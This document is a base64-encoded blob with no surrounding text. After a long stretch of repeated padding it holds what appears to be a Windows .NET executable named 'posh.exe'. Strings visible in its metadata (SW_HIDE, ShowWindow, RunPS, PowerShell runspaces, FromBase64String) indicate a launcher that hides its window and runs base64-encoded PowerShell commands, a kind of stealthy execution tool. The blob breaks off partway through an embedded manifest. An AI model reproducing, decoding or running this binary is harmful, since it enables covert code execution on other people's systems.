EEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBA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AgAEgAuAAsAwwAuABMAzACOALoAvwAnATQBZAB0AAABAwBCAAEAAAEFAFMAAgAEgAAAAAAAAAAAAAAAAAAAAADwAAAAAgAAAAAAAAAAAAAAAQAbAAAAAAABAAAAAAAAAAAAAAA9AD8BAAAAAAAAAAAAPE1vZHVsZT4AcG9zaC5leGUAUHJvZ3JhbQBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AFNXX0hJREUAU1dfU0hPVwBHZXRDb25zb2xlV2luZG93AFNob3dXaW5kb3cALmN0b3IASW52b2tlQXV0b21hdGlvbgBSdW5QUwBNYWluAGhXbmQAbkNtZFNob3cAY21kAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBwb3NoAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBEbGxJbXBvcnRBdHRyaWJ1dGUAa2VybmVsMzIuZGxsAHVzZXIzMi5kbGwAU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbgBTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlJ1bnNwYWNlcwBSdW5zcGFjZUZhY3RvcnkAUnVuc3BhY2UAQ3JlYXRlUnVuc3BhY2UAT3BlbgBSdW5zcGFjZUludm9rZQBQaXBlbGluZQBDcmVhdGVQaXBlbGluZQBDb21tYW5kQ29sbGVjdGlvbgBnZXRfQ29tbWFuZHMAQWRkU2NyaXB0AFN5c3RlbS5Db2xsZWN0aW9ucy5PYmplY3RNb2RlbABDb2xsZWN0aW9uYDEAUFNPYmplY3QASW52b2tlAENsb3NlAFN5c3RlbS5UZXh0AFN0cmluZ0J1aWxkZXIAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMASUVudW1lcmF0b3JgMQBHZXRFbnVtZXJhdG9yAGdldF9DdXJyZW50AEFwcGVuZABTeXN0ZW0uQ29sbGVjdGlvbnMASUVudW1lcmF0b3IATW92ZU5leHQASURpc3Bvc2FibGUARGlzcG9zZQBUb1N0cmluZwBTdHJpbmcAVHJpbQBFbmNvZGluZwBnZXRfVW5pY29kZQBDb252ZXJ0A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